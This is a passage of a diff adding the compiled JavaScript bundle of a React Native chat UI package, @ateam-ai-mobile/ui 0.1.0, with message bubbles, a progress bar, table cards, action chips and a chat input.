@ateam-ai-mobile/ui 0.1.0

package/dist/index.mjs

@@ -0,0 +1,1853 @@
+// src/AdasChatScreen.tsx
+import { useCallback as useCallback3, useEffect as useEffect3, useMemo, useRef as useRef3, useState as useState4 } from "react";
+import {
+  FlatList,
+  KeyboardAvoidingView,
+  Platform as Platform5,
+  RefreshControl,
+  StyleSheet as StyleSheet8,
+  View as View8
+} from "react-native";
+import { ada as ada5, useChatStore, pluginCommandEmitter } from "@ateam-ai-mobile/core";
+
+// src/chat/MessageBubble.tsx
+import { useState as useState2, useCallback } from "react";
+import { View as View4, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Image, Platform as Platform3 } from "react-native";
+import Markdown from "react-native-markdown-display";
+import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada as ada4, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
+import { AdaOrb, getHaptics as getHaptics2 } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/chat/JobProgressBar.tsx
+import { useEffect, useRef, useState } from "react";
+import { View, Text, Animated, StyleSheet } from "react-native";
+import { ada, fontSize } from "@ateam-ai-mobile/core";
+import { jsx, jsxs } from "react/jsx-runtime";
+var WARM_GREEN = "#5A8A5C";
+var WARM_GREEN_SOFT = "rgba(90, 138, 92, 0.14)";
+var WARM_RED = "#C15545";
+var WARM_RED_SOFT = "rgba(193, 85, 69, 0.14)";
+var WARM_AMBER = "#D49A4E";
+var WARM_AMBER_SOFT = "rgba(212, 154, 78, 0.16)";
+function JobProgressBar({ progress }) {
+  const pulseAnim = useRef(new Animated.Value(0.5)).current;
+  const [elapsed, setElapsed] = useState(0);
+  const isRunning = progress.status === "running";
+  const isDone = progress.status === "done";
+  const isError = progress.status === "error";
+  const isPaused = progress.status === "paused";
+  useEffect(() => {
+    if (!isRunning) {
+      pulseAnim.setValue(1);
+      return;
+    }
+    const anim = Animated.loop(
+      Animated.sequence([
+        Animated.timing(pulseAnim, { toValue: 1, duration: 800, useNativeDriver: true }),
+        Animated.timing(pulseAnim, { toValue: 0.5, duration: 800, useNativeDriver: true })
+      ])
+    );
+    anim.start();
+    return () => anim.stop();
+  }, [isRunning, pulseAnim]);
+  useEffect(() => {
+    if (!isRunning || !progress.chainStartedAt) {
+      setElapsed(0);
+      return;
+    }
+    const start = progress.chainStartedAt;
+    setElapsed(Math.floor((Date.now() - start) / 1e3));
+    const id = setInterval(() => {
+      setElapsed(Math.floor((Date.now() - start) / 1e3));
+    }, 1e3);
+    return () => clearInterval(id);
+  }, [isRunning, progress.chainStartedAt]);
+  const statusColor = isDone ? WARM_GREEN : isError ? WARM_RED : isPaused ? WARM_AMBER : ada.orange;
+  const statusBg = isDone ? WARM_GREEN_SOFT : isError ? WARM_RED_SOFT : isPaused ? WARM_AMBER_SOFT : ada.orangeSoft;
+  if (isDone || isError) {
+    return /* @__PURE__ */ jsx(View, { style: styles.container, children: /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
+      /* @__PURE__ */ jsx(View, { style: [styles.dot, { backgroundColor: statusColor }] }),
+      /* @__PURE__ */ jsx(Text, { style: [styles.label, { color: statusColor }], children: isDone ? "Completed" : "Failed" })
+    ] }) });
+  }
+  if (isPaused) {
+    return /* @__PURE__ */ jsx(View, { style: styles.container, children: /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
+      /* @__PURE__ */ jsx(View, { style: [styles.dot, { backgroundColor: statusColor }] }),
+      /* @__PURE__ */ jsx(Text, { style: [styles.label, { color: statusColor }], children: "Waiting for your reply" })
+    ] }) });
+  }
+  const elapsedStr = progress.chainStartedAt ? `${Math.floor(elapsed / 60)}:${String(elapsed % 60).padStart(2, "0")}` : null;
+  const metaParts = [
+    progress.iteration != null && progress.iteration > 0 ? `iter ${progress.iteration}` : null,
+    elapsedStr
+  ].filter(Boolean);
+  const lp = progress.liveProgress;
+  return /* @__PURE__ */ jsxs(View, { style: styles.container, children: [
+    /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
+      /* @__PURE__ */ jsx(
+        Animated.View,
+        {
+          style: [styles.dot, { backgroundColor: ada.orange, opacity: pulseAnim }]
+        }
+      ),
+      /* @__PURE__ */ jsx(Text, { style: styles.skill, numberOfLines: 1, children: progress.skillSlug || "Processing..." }),
+      !!progress.currentTool && /* @__PURE__ */ jsx(Text, { style: styles.tool, numberOfLines: 1, children: ` \u2192 ${progress.currentTool}` }),
+      metaParts.length > 0 && /* @__PURE__ */ jsx(Text, { style: styles.meta, numberOfLines: 1, children: `  \xB7  ${metaParts.join("  \xB7  ")}` })
+    ] }),
+    !!lp?.message && /* @__PURE__ */ jsxs(View, { style: styles.liveProgressRow, children: [
+      lp.step != null && lp.total != null && /* @__PURE__ */ jsxs(Text, { style: styles.liveProgressStep, children: [
+        "[",
+        lp.step,
+        "/",
+        lp.total,
+        "]"
+      ] }),
+      /* @__PURE__ */ jsx(Text, { style: styles.liveProgressMsg, numberOfLines: 1, children: lp.message })
+    ] }),
+    /* @__PURE__ */ jsx(View, { style: [styles.progressTrack, { backgroundColor: statusBg }], children: /* @__PURE__ */ jsx(
+      Animated.View,
+      {
+        style: [styles.progressFill, { backgroundColor: ada.orange, opacity: pulseAnim }]
+      }
+    ) })
+  ] });
+}
+var styles = StyleSheet.create({
+  container: {
+    marginTop: 8,
+    paddingTop: 8,
+    borderTopWidth: 1,
+    borderTopColor: ada.border
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    flexWrap: "nowrap",
+    overflow: "hidden"
+  },
+  dot: {
+    width: 7,
+    height: 7,
+    borderRadius: 4,
+    marginRight: 6,
+    flexShrink: 0
+  },
+  label: {
+    fontSize: fontSize.xs,
+    fontWeight: "600"
+  },
+  // Running state text segments
+  skill: {
+    fontSize: fontSize.xs,
+    fontWeight: "600",
+    color: ada.orange,
+    flexShrink: 1
+  },
+  tool: {
+    fontSize: fontSize.xs,
+    color: ada.inkMuted,
+    flexShrink: 2
+  },
+  meta: {
+    fontSize: fontSize.xs,
+    color: ada.inkMuted,
+    flexShrink: 0
+  },
+  liveProgressRow: {
+    flexDirection: "row",
+    alignItems: "center",
+    marginTop: 4,
+    gap: 4
+  },
+  liveProgressStep: {
+    fontSize: fontSize.xs,
+    fontWeight: "600",
+    color: ada.inkMuted
+  },
+  liveProgressMsg: {
+    fontSize: fontSize.xs,
+    color: ada.orange,
+    flex: 1
+  },
+  progressTrack: {
+    height: 3,
+    borderRadius: 2,
+    marginTop: 6,
+    overflow: "hidden"
+  },
+  progressFill: {
+    height: "100%",
+    width: "60%",
+    borderRadius: 2
+  }
+});
+
+// src/chat/UIActionsRow.tsx
+import { View as View2, Text as Text2, Pressable, StyleSheet as StyleSheet2, Platform } from "react-native";
+import { ada as ada2, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
+import { useSurfaceStore, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/providers.ts
+var _clipboard = null;
+function setClipboardProvider(clipboard) {
+  _clipboard = clipboard;
+}
+function getClipboard() {
+  return _clipboard;
+}
+var _navigator = null;
+function setUIActionNavigator(navigate) {
+  _navigator = navigate;
+}
+function getUIActionNavigator() {
+  return _navigator;
+}
+
+// src/chat/UIActionsRow.tsx
+import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
+var fontFam = Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+var ICON_MAP = {
+  timer: "\u23F1",
+  memory: "\u{1F9E0}",
+  calendar: "\u{1F4C5}",
+  home: "\u{1F3E0}",
+  bell: "\u{1F514}",
+  star: "\u2B50",
+  bolt: "\u26A1"
+};
+function UIActionsRow({ actions }) {
+  if (!Array.isArray(actions) || actions.length === 0) return null;
+  const handlePress = (a) => {
+    getHaptics()?.selection();
+    const id = a.pluginId || a.target;
+    if (!id) return;
+    const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
+    const surface = useSurfaceStore.getState().manifests[id];
+    if (surface) {
+      useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
+      return;
+    }
+    const params = {};
+    if (focus) params.focus = String(focus);
+    if (a.intent === "suggested_action" && a.payload?.tool) {
+      params.tool = String(a.payload.tool);
+      if (a.payload?.args) {
+        try {
+          params.args = JSON.stringify(a.payload.args);
+        } catch {
+        }
+      }
+    }
+    if (a.intent === "quick_toggle" && a.payload?.verb) {
+      params.verb = String(a.payload.verb);
+    }
+    const navigate = getUIActionNavigator();
+    if (!navigate) {
+      console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
+      return;
+    }
+    navigate({ pluginId: id, params });
+  };
+  return /* @__PURE__ */ jsx2(View2, { style: styles2.row, children: actions.map((a, i) => {
+    const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
+    return /* @__PURE__ */ jsxs2(
+      Pressable,
+      {
+        accessibilityRole: "button",
+        accessibilityLabel: a.description || a.label,
+        onPress: () => handlePress(a),
+        style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
+        children: [
+          icon ? /* @__PURE__ */ jsx2(Text2, { style: styles2.icon, children: icon }) : null,
+          /* @__PURE__ */ jsx2(Text2, { style: styles2.label, numberOfLines: 1, children: a.label })
+        ]
+      },
+      `${a.target || "a"}-${i}`
+    );
+  }) });
+}
+var styles2 = StyleSheet2.create({
+  row: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginTop: 10
+  },
+  chip: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6,
+    paddingHorizontal: 12,
+    paddingVertical: 6,
+    backgroundColor: ada2.orangeSoft,
+    borderColor: ada2.orange,
+    borderWidth: 1,
+    borderRadius: 14
+  },
+  chipPressed: {
+    backgroundColor: ada2.orange
+  },
+  icon: {
+    fontSize: 12,
+    lineHeight: 14
+  },
+  label: {
+    color: ada2.orangeDeep,
+    fontSize: fontSize2.xs,
+    fontWeight: "600",
+    fontFamily: fontFam
+  }
+});
+
+// src/chat/TableCardBlock.tsx
+import { View as View3, Text as Text3, StyleSheet as StyleSheet3, Platform as Platform2 } from "react-native";
+import { ada as ada3, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
+import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
+var fontFam2 = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
+function TableCardBlock({ columns, rows }) {
+  if (!columns?.length || !rows?.length) return null;
+  const [titleCol, ...detailCols] = columns;
+  return /* @__PURE__ */ jsx3(View3, { style: styles3.wrap, children: rows.map((row, i) => {
+    const cells = Array.isArray(row) ? row : [row];
+    const title = cells[0];
+    return /* @__PURE__ */ jsxs3(View3, { style: styles3.card, children: [
+      /* @__PURE__ */ jsx3(Text3, { style: styles3.title, children: String(title ?? "") }),
+      detailCols.length > 0 && /* @__PURE__ */ jsx3(View3, { style: styles3.details, children: detailCols.map((col, ci) => {
+        const value = cells[ci + 1];
+        if (value == null || value === "") return null;
+        return /* @__PURE__ */ jsxs3(View3, { style: styles3.row, children: [
+          /* @__PURE__ */ jsx3(Text3, { style: styles3.label, children: String(col) }),
+          /* @__PURE__ */ jsx3(Text3, { style: styles3.value, children: String(value) })
+        ] }, ci);
+      }) })
+    ] }, i);
+  }) });
+}
+var styles3 = StyleSheet3.create({
+  wrap: {
+    marginVertical: 6,
+    gap: 8
+  },
+  card: {
+    backgroundColor: ada3.paper,
+    borderRadius: borderRadius2.md,
+    borderWidth: 1,
+    borderColor: ada3.border,
+    padding: spacing.md
+  },
+  title: {
+    color: ada3.ink,
+    fontSize: fontSize3.md,
+    fontWeight: "600",
+    fontFamily: fontFam2,
+    letterSpacing: -0.2,
+    marginBottom: 6
+  },
+  details: {
+    gap: 4
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-start",
+    gap: 8
+  },
+  label: {
+    color: ada3.inkMuted,
+    fontSize: fontSize3.xs,
+    fontFamily: fontFam2,
+    fontWeight: "500",
+    width: 84,
+    textTransform: "uppercase",
+    letterSpacing: 0.6,
+    paddingTop: 2
+  },
+  value: {
+    flex: 1,
+    color: ada3.inkSoft,
+    fontSize: fontSize3.sm,
+    fontFamily: fontFam2,
+    lineHeight: 18
+  }
+});
+
+// src/stores/lightboxStore.ts
+import { create } from "zustand";
+var useLightboxStore = create((set) => ({
+  uri: null,
+  show: (uri) => set({ uri }),
+  hide: () => set({ uri: null })
+}));
+
+// src/chat/MessageBubble.tsx
+import { Fragment, jsx as jsx4, jsxs as jsxs4 } from "react/jsx-runtime";
+var fontFam3 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
+function formatTime(date) {
+  const h = date.getHours();
+  const m = date.getMinutes().toString().padStart(2, "0");
+  return `${h}:${m}`;
+}
+function DaySeparator({ date }) {
+  const today = /* @__PURE__ */ new Date();
+  const yesterday = new Date(today);
+  yesterday.setDate(yesterday.getDate() - 1);
+  let label;
+  if (isSameDay(date, today)) {
+    label = "Today";
+  } else if (isSameDay(date, yesterday)) {
+    label = "Yesterday";
+  } else {
+    label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
+  }
+  return /* @__PURE__ */ jsx4(View4, { style: separatorStyles.container, children: /* @__PURE__ */ jsx4(View4, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx4(Text4, { style: separatorStyles.text, children: label }) }) });
+}
+function isSameDay(a, b) {
+  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+}
+var separatorStyles = StyleSheet4.create({
+  container: {
+    alignItems: "center",
+    marginVertical: 14
+  },
+  pill: {
+    backgroundColor: ada4.paperSoft,
+    paddingHorizontal: 14,
+    paddingVertical: 5,
+    borderRadius: 999
+  },
+  text: {
+    fontSize: 12,
+    fontWeight: "600",
+    color: ada4.inkMuted,
+    letterSpacing: 0.4,
+    fontFamily: fontFam3
+  }
+});
+function MessageBubble({ message }) {
+  const isUser = message.role === "user";
+  const isSystem = message.role === "system";
+  const isNotification = !isUser && message.kind === "notification";
+  const [copied, setCopied] = useState2("");
+  const showCopied = useCallback((label) => {
+    setCopied(label);
+    getHaptics2()?.notification("success");
+    setTimeout(() => setCopied(""), 1500);
+  }, []);
+  const copyText = useCallback(async (text) => {
+    const clipboard = getClipboard();
+    if (!clipboard) return;
+    await clipboard.setString(text);
+    showCopied("Copied!");
+  }, [showCopied]);
+  const handleLongPress = useCallback(() => {
+    copyText(message.content);
+  }, [message.content, copyText]);
+  return /* @__PURE__ */ jsxs4(View4, { style: [styles4.row, isUser && styles4.rowUser], children: [
+    !isUser && !isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarOrb, children: /* @__PURE__ */ jsx4(
+      AdaOrb,
+      {
+        size: 28,
+        state: message.jobProgress?.status === "running" ? "thinking" : "idle"
+      }
+    ) }),
+    isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.notificationLeftStripe }),
+    /* @__PURE__ */ jsxs4(
+      Pressable2,
+      {
+        accessibilityRole: "text",
+        accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
+        accessibilityHint: "Long-press to copy",
+        onLongPress: handleLongPress,
+        style: [
+          styles4.bubble,
+          isUser && styles4.bubbleUser,
+          isSystem && styles4.bubbleSystem,
+          isNotification && styles4.bubbleNotification
+        ],
+        children: [
+          isNotification && /* @__PURE__ */ jsxs4(View4, { style: styles4.notificationHeader, children: [
+            /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
+            /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderText, children: "Notification" })
+          ] }),
+          message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx4(View4, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx4(
+            Pressable2,
+            {
+              accessibilityRole: "imagebutton",
+              accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
+              onPress: () => useLightboxStore.getState().show(att.previewUri),
+              children: /* @__PURE__ */ jsx4(
+                Image,
+                {
+                  source: {
+                    uri: att.previewUri,
+                    ...att.previewUri.startsWith("http") ? {
+                      headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` }
+                    } : {}
+                  },
+                  style: styles4.attachmentImage,
+                  resizeMode: "cover",
+                  onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
+                }
+              )
+            },
+            i
+          ) : /* @__PURE__ */ jsx4(View4, { style: styles4.attachmentFile, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
+          isUser ? (
+            // Hide the "See attachment" placeholder when the bubble already shows the photo.
+            message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx4(Text4, { selectable: true, style: styles4.userText, children: message.content }) : null
+          ) : renderAssistantContent(message.content, copyText),
+          !!copied && /* @__PURE__ */ jsx4(View4, { style: styles4.copiedBadge, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.copiedText, children: copied }) }),
+          message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx4(ToolCallsBadge, { calls: message.toolCalls }),
+          message.jobProgress && /* @__PURE__ */ jsx4(JobProgressBar, { progress: message.jobProgress }),
+          !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx4(UIActionsRow, { actions: message.actions }),
+          /* @__PURE__ */ jsx4(Text4, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
+        ]
+      }
+    ),
+    isUser && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarSpacer })
+  ] });
+}
+function renderAssistantContent(content, copyText) {
+  if (!content) return null;
+  if (!content.includes(TABLE_BLOCK_OPEN)) {
+    return /* @__PURE__ */ jsx4(MarkdownBubble, { content, copyText });
+  }
+  const segments = [];
+  let cursor = 0;
+  while (cursor < content.length) {
+    const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
+    if (open === -1) {
+      segments.push({ kind: "md", content: content.slice(cursor) });
+      break;
+    }
+    if (open > cursor) {
+      segments.push({ kind: "md", content: content.slice(cursor, open) });
+    }
+    const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
+    if (close === -1) {
+      segments.push({ kind: "md", content: content.slice(open) });
+      break;
+    }
+    const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
+    segments.push({ kind: "table", content: payload });
+    cursor = close + TABLE_BLOCK_CLOSE.length;
+  }
+  return /* @__PURE__ */ jsx4(Fragment, { children: segments.map((seg, i) => {
+    if (seg.kind === "md") {
+      const trimmed = seg.content.trim();
+      if (!trimmed) return null;
+      return /* @__PURE__ */ jsx4(MarkdownBubble, { content: seg.content, copyText }, i);
+    }
+    try {
+      const data = JSON.parse(decodeURIComponent(seg.content));
+      return /* @__PURE__ */ jsx4(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
+    } catch {
+      return null;
+    }
+  }) });
+}
+function MarkdownBubble({ content, copyText }) {
+  return /* @__PURE__ */ jsx4(
+    Markdown,
+    {
+      style: markdownStyles,
+      rules: {
+        code_inline: (node) => /* @__PURE__ */ jsx4(
+          Text4,
+          {
+            style: markdownStyles.code_inline,
+            onPress: () => copyText(node.content),
+            children: node.content
+          },
+          node.key
+        ),
+        fence: (node) => /* @__PURE__ */ jsx4(
+          Pressable2,
+          {
+            onPress: () => copyText(node.content),
+            style: markdownStyles.fence,
+            children: /* @__PURE__ */ jsx4(Text4, { style: markdownStyles.fenceText, children: node.content })
+          },
+          node.key
+        )
+      },
+      children: content
+    }
+  );
+}
+function ToolCallsBadge({ calls }) {
+  const [expanded, setExpanded] = useState2(false);
+  const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
+  return /* @__PURE__ */ jsxs4(View4, { style: styles4.toolCalls, children: [
+    /* @__PURE__ */ jsxs4(Pressable2, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
+      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolLabel, children: label }),
+      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
+    ] }),
+    expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs4(View4, { style: styles4.toolItem, children: [
+      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolName, children: tc.name }),
+      tc.skill && /* @__PURE__ */ jsx4(Text4, { style: styles4.toolSkill, children: tc.skill })
+    ] }, i))
+  ] });
+}
+var styles4 = StyleSheet4.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    marginBottom: 12,
+    paddingHorizontal: 12,
+    gap: 8
+  },
+  rowUser: {
+    justifyContent: "flex-end"
+  },
+  avatarOrb: {
+    width: 28,
+    height: 28,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  avatarSpacer: {
+    width: 28,
+    height: 28
+  },
+  bubble: {
+    maxWidth: "78%",
+    backgroundColor: ada4.botBubble,
+    borderWidth: 1,
+    borderColor: ada4.botBubbleBorder,
+    borderRadius: borderRadius3.xl,
+    paddingHorizontal: 16,
+    paddingVertical: 12
+  },
+  bubbleUser: {
+    backgroundColor: ada4.userBubble,
+    borderColor: "transparent"
+  },
+  bubbleSystem: {
+    backgroundColor: ada4.orangeSoft,
+    borderColor: ada4.orange,
+    maxWidth: "90%"
+  },
+  bubbleNotification: {
+    backgroundColor: ada4.orangeSoft,
+    borderColor: "rgba(255, 122, 40, 0.35)",
+    borderRadius: borderRadius3.lg,
+    maxWidth: "90%"
+  },
+  notificationLeftStripe: {
+    width: 3,
+    alignSelf: "stretch",
+    backgroundColor: ada4.orange,
+    borderRadius: 2,
+    marginRight: 4
+  },
+  notificationHeader: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6,
+    marginBottom: 6
+  },
+  notificationHeaderIcon: {
+    fontSize: 12
+  },
+  notificationHeaderText: {
+    color: ada4.orangeDeep,
+    fontSize: 11,
+    fontWeight: "700",
+    letterSpacing: 0.6,
+    textTransform: "uppercase",
+    fontFamily: fontFam3
+  },
+  userText: {
+    color: ada4.userBubbleText,
+    fontSize: fontSize4.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  timeText: {
+    fontSize: 11,
+    color: ada4.inkMuted,
+    alignSelf: "flex-end",
+    marginTop: 4,
+    fontFamily: fontFam3
+  },
+  timeTextUser: {
+    color: "rgba(250,246,238,0.55)"
+  },
+  attachments: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginBottom: 8
+  },
+  attachmentImage: {
+    width: 120,
+    height: 90,
+    borderRadius: 8
+  },
+  attachmentFile: {
+    backgroundColor: "rgba(255,255,255,0.15)",
+    borderRadius: 8,
+    paddingHorizontal: 10,
+    paddingVertical: 6
+  },
+  attachmentFileName: {
+    color: "rgba(255,255,255,0.8)",
+    fontSize: 11,
+    maxWidth: 100
+  },
+  copiedBadge: {
+    position: "absolute",
+    top: 6,
+    right: 6,
+    backgroundColor: "#5A8A5C",
+    paddingHorizontal: 8,
+    paddingVertical: 2,
+    borderRadius: borderRadius3.sm
+  },
+  copiedText: {
+    color: "#fff",
+    fontSize: fontSize4.xs,
+    fontWeight: "600"
+  },
+  toolCalls: {
+    marginTop: 8,
+    borderTopWidth: 1,
+    borderTopColor: ada4.border,
+    paddingTop: 6
+  },
+  toolToggle: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6
+  },
+  toolLabel: {
+    color: ada4.inkSoft,
+    fontSize: fontSize4.xs,
+    fontWeight: "500"
+  },
+  toolChevron: {
+    color: ada4.inkMuted,
+    fontSize: 8
+  },
+  toolItem: {
+    marginTop: 4,
+    paddingLeft: 8
+  },
+  toolName: {
+    color: ada4.inkSoft,
+    fontSize: fontSize4.xs,
+    fontFamily: "monospace"
+  },
+  toolSkill: {
+    color: ada4.orangeDeep,
+    fontSize: fontSize4.xs
+  }
+});
+var markdownStyles = StyleSheet4.create({
+  body: {
+    color: ada4.botBubbleText,
+    fontSize: fontSize4.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  paragraph: {
+    marginTop: 0,
+    marginBottom: 4
+  },
+  strong: {
+    fontWeight: "700",
+    color: ada4.botBubbleText
+  },
+  em: {
+    fontStyle: "italic"
+  },
+  code_inline: {
+    backgroundColor: ada4.paperDeep,
+    color: ada4.orangeDeep,
+    paddingHorizontal: 5,
+    paddingVertical: 1,
+    borderRadius: 4,
+    fontFamily: "monospace",
+    fontSize: fontSize4.sm
+  },
+  fence: {
+    backgroundColor: ada4.paperDeep,
+    padding: 10,
+    borderRadius: 10
+  },
+  fenceText: {
+    fontFamily: "monospace",
+    fontSize: fontSize4.sm,
+    color: ada4.ink
+  },
+  link: {
+    color: ada4.orangeDeep
+  },
+  list_item: {
+    color: ada4.botBubbleText
+  },
+  bullet_list: {
+    marginVertical: 4
+  }
+});
+
+// src/chat/TypingIndicator.tsx
+import { View as View5, StyleSheet as StyleSheet5 } from "react-native";
+import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
+import { jsx as jsx5 } from "react/jsx-runtime";
+function TypingIndicator() {
+  return /* @__PURE__ */ jsx5(View5, { style: styles5.row, children: /* @__PURE__ */ jsx5(AdaOrb2, { size: 32, state: "thinking" }) });
+}
+var styles5 = StyleSheet5.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    marginBottom: 12,
+    paddingHorizontal: 16,
+    paddingVertical: 4
+  }
+});
+
+// src/chat/ChatInput.tsx
+import { useState as useState3, useRef as useRef2, useCallback as useCallback2, useEffect as useEffect2 } from "react";
+import {
+  View as View6,
+  TextInput,
+  Pressable as Pressable3,
+  StyleSheet as StyleSheet6,
+  Platform as Platform4
+} from "react-native";
+import Svg, { Path, Line, Polygon } from "react-native-svg";
+import { colors, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
+import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
+import { jsx as jsx6, jsxs as jsxs5 } from "react/jsx-runtime";
+function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
+  const [text, setText] = useState3("");
+  const [height, setHeight] = useState3(40);
+  const inputRef = useRef2(null);
+  useEffect2(() => {
+    if (prefill) {
+      setText(prefill);
+      inputRef.current?.focus();
+    }
+  }, [prefill]);
+  const handleSend = useCallback2(() => {
+    const trimmed = text.trim();
+    if (!trimmed) return;
+    getHaptics3()?.impact("light");
+    onSend(trimmed);
+    setText("");
+    setHeight(40);
+  }, [text, loading, onSend]);
+  const canSend = text.trim().length > 0;
+  return /* @__PURE__ */ jsx6(View6, { style: styles6.dock, children: /* @__PURE__ */ jsxs5(View6, { style: styles6.inputRow, children: [
+    onCallStart && /* @__PURE__ */ jsx6(Pressable3, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx6(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx6(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
+    /* @__PURE__ */ jsx6(
+      TextInput,
+      {
+        ref: inputRef,
+        style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
+        value: text,
+        onChangeText: setText,
+        onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
+        placeholder: placeholder || "Message A-Team...",
+        placeholderTextColor: colors.light.textMuted,
+        multiline: true,
+        returnKeyType: "default",
+        blurOnSubmit: false,
+        onSubmitEditing: () => {
+          if (Platform4.OS === "web") handleSend();
+        }
+      }
+    ),
+    /* @__PURE__ */ jsx6(
+      Pressable3,
+      {
+        style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
+        onPress: handleSend,
+        disabled: !canSend,
+        children: /* @__PURE__ */ jsxs5(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors.light.textMuted, strokeWidth: 2, children: [
+          /* @__PURE__ */ jsx6(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
+          /* @__PURE__ */ jsx6(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
+        ] })
+      }
+    )
+  ] }) });
+}
+var styles6 = StyleSheet6.create({
+  dock: {
+    paddingHorizontal: 12,
+    paddingVertical: 8,
+    backgroundColor: colors.light.bgPrimary,
+    borderTopWidth: 0.5,
+    borderTopColor: colors.light.border
+  },
+  inputRow: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    backgroundColor: colors.light.bgInput,
+    borderRadius: borderRadius4.xl,
+    borderWidth: 1,
+    borderColor: colors.light.border,
+    paddingHorizontal: 4,
+    paddingVertical: 4,
+    gap: 4
+  },
+  callBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  input: {
+    flex: 1,
+    fontSize: 16,
+    color: colors.light.textPrimary,
+    paddingHorizontal: 8,
+    paddingVertical: 8,
+    maxHeight: 120
+  },
+  sendBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
+    justifyContent: "center",
+    alignItems: "center",
